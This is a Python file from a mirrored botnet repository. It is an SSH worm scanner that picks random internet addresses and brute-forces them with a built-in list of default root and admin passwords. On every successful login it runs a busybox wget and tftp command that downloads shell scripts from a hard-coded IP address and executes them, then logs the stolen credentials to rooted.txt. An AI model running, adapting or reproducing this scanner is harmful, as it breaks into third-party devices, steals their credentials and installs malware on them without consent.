Mirrors
/
TL-BOTS
mirror of https://github.com/threatland/TL-BOTS
6
0
Fork 0
Code Issues Projects Releases Wiki Activity
TL-BOTS/TL.EXPLOIT_SCAN/SCANNER.Generic.SSH/broke-b1naryv3.py

259 lines
8.2 KiB
Python
Raw Permalink Blame History

#!/usr/bin/env python
"""
# ___ __________ ____ _______ _____ _______________.___. ___
# / _ \_/\ \______ \/_ |\ \ / _ \\______ \__ | | / _ \_/\
# \/ \___/ | | _/ | |/ | \ / /_\ \| _// | | \/ \___/
# | | \ | / | \/ | \ | \\____ |
# |______ / |___\____|__ /\____|__ /____|_ // ______|
# \/ \/ \/ \/ \/
"""
import threading, paramiko, random, socket, time, sys
paramiko.util.log_to_file("/dev/null")
cmd='cd /tmp; rm -rf *;busybox wget -q http://208.67.1.117/gtop.sh; chmod +x gtop.sh; sh gtop.sh; rm -rf *; busybox tftp -r tftp.sh -g ; sh tftp.sh; busybox tftp -c get tftp2.sh; sh tftp2.sh\r\n'
files = [
"gtop.sh",
"tftp.sh",
"tftp2.sh"
]
website = "208.67.1.117"
reservedips = [
'http://127.',
'http://0',
'http://10.',
'http://100.64',
'http://100.65',
'http://100.66',
'http://100.67',
'http://100.68',
'http://100.69',
'http://100.70',
'http://100.71',
'http://100.72',
'http://100.73',
'http://100.74',
'http://100.75',
'http://100.76',
'http://100.77',
'http://100.78',
'http://100.79',
'http://100.80',
'http://100.81',
'http://100.82',
'http://100.83',
'http://100.84',
'http://100.85',
'http://100.86',
'http://100.87',
'http://100.88',
'http://100.89',
'http://100.90',
'http://100.91',
'http://100.92',
'http://100.93',
'http://100.94',
'http://100.95',
'http://100.96',
'http://100.97',
'http://100.98',
'http://100.99',
'http://100.100',
'http://100.101',
'http://100.102',
'http://100.103',
'http://100.104',
'http://100.105',
'http://100.106',
'http://100.107',
'http://100.108',
'http://100.109',
'http://100.110',
'http://100.111',
'http://100.112',
'http://100.113',
'http://100.114',
'http://100.115',
'http://100.116',
'http://100.117',
'http://100.118',
'http://100.119',
'http://100.120',
'http://100.121',
'http://100.122',
'http://100.123',
'http://100.124',
'http://100.125',
'http://100.126',
'http://100.127',
'http://169.254',
'http://172.16.',
'http://172.17.',
'http://172.18.',
'http://172.19.',
'http://172.20.',
'http://172.21.',
'http://172.22.',
'http://172.23.',
'http://172.24.',
'http://172.25.',
'http://172.26.',
'http://172.27.',
'http://172.28.',
'http://172.29.',
'http://172.30.',
'http://172.32.',
'http://192.0.0.0',
'http://192.0.0.1',
'http://192.0.0.2',
'http://192.0.0.3',
'http://192.0.0.4',
'http://192.0.0.5',
'http://192.0.0.6',
'http://192.0.0.7',
'http://192.0.2.',
'http://192.88.99.',
'http://192.168.',
'http://198.18.',
'http://198.19.',
'http://198.51.100.',
'http://203.0.113.',
'http://224.',
'http://225'
]
lucky = ["37.237","37.238","37.239","37.236","191.53","186.208","191.53","186.208","1.0","177.137","177.38","101.108","125.27","177.44","179.189","179.97","122.178","122.170","182.65","182.68","182.70","182.75","186.112","186.113","186.114","186.115","186.116","186.118","23.96","23.97","23.98","23.99","23.100","23.101","23.102","23.103","70.37","104.40","104.41","104.42","104.43","104.44","104.45","104.46","104.47","104.146","104.147","104.208","104.209","104.210","104.210","104.211","104.212","104.213","104.214","104.215","138.91","168.61","168.62","168.63","113.53","125.125","125.126","125.127","5.39","5.135","5.196","8.7","8.18","8.20","8.21","8.24","8.29","8.30","8.33","37.59","37.187","46.105","5.39","5.135","5.196","8.7","8.18","8.20","8.21","8.24","8.29","8.30","8.33","37.59","37.187","46.105","89.248","65.19","220.248","1.6","1.7","1.22","1.23","217.106","217.106","23.20","27.0","27.22","43.250","46.0","47.0","50.15","51.0","52.0","52.100"]
passwords = [
"root:root",
"root:admin",
"admin:admin",
"ubnt:ubnt",
"root:password",
"root:toor",
"tim:time",
"CISCO:CISCO",
"root:centos6svm",
"root:1234",
"root:123456",
"root:Love2020",
"root:Zero",
"root:Password",
"root:password",
"root:qwerty",
"root:dragon",
"root:pussy",
"root:baseball",
"root:football",
"root:monkey",
"root:696969",
"root:abc123",
]
if sys.argv[4] == '1':
passwords = [ "admin:1234", "root:root", "root:password", "root:12356", "admin:admin" ]
if sys.argv[4] == 'K':
passwords = [ "root:test", "root:root" ]
ipclassinfo = sys.argv[2]
if ipclassinfo == "A":
ip1 = sys.argv[3]
elif ipclassinfo == "B":
ip1 = sys.argv[3].split(".")[0]
ip2 = sys.argv[3].split(".")[1]
elif ipclassinfo == "C":
ips = sys.argv[3].split(".")
num=0
for ip in ips:
num=num+1
if num == 1:
ip1 = ip
elif num == 2:
ip2 = ip
elif num == 3:
ip3 = ip
class sshscanner(threading.Thread):
global passwords
global ipclassinfo
if ipclassinfo == "A":
global ip1
elif ipclassinfo == "B":
global ip1
global ip2
elif ipclassinfo == "C":
global ip1
global ip2
global ip3
def run(self):
while 1:
try:
while 1:
thisipisbad='no'
if ipclassinfo == "A":
self.host = 'http://'+ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
elif ipclassinfo == "B":
self.host = 'http://'+ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
elif ipclassinfo == "C":
self.host = 'http://'+ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))
elif ipclassinfo == "LUCKY":
self.host = 'http://'+random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
else:
self.host = 'http://'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
for badip in reservedips:
if badip in self.host:
thisipisbad='yes'
if thisipisbad=='no':
break
self.host=self.host.replace('http://', '')
username='root'
password="0"
port = 22
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(3)
s.connect((self.host, port))
s.close()
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
dobreak=False
for passwd in passwords:
if ":n/a" in passwd:
password=""
else:
password=passwd.split(":")[1]
if "n/a:" in passwd:
username=""
else:
username=passwd.split(":")[0]
try:
ssh.connect(self.host, port = port, username=username, password=password, timeout=3)
dobreak=True
break
except:
pass
if True == dobreak:
break
badserver=True
stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
output = stdout.read()
if "inet addr" in output:
badserver=False
websites = [ ]
if badserver == False:
print '\x1b[31mINFECTING:'+self.host+'|'+username+'|'+password+'|'+str(port)
ssh.exec_command(""+cmd+"")
infectedip = open("rooted.txt","a").write(username+":"+password+":"+self.host+"\n")
time.sleep(30)
ssh.close()
except:
pass
for x in range(0,int(sys.argv[1])):
try:
t = sshscanner()
t.start()
except:
pass
Reference in New Issue View Git Blame Copy Permalink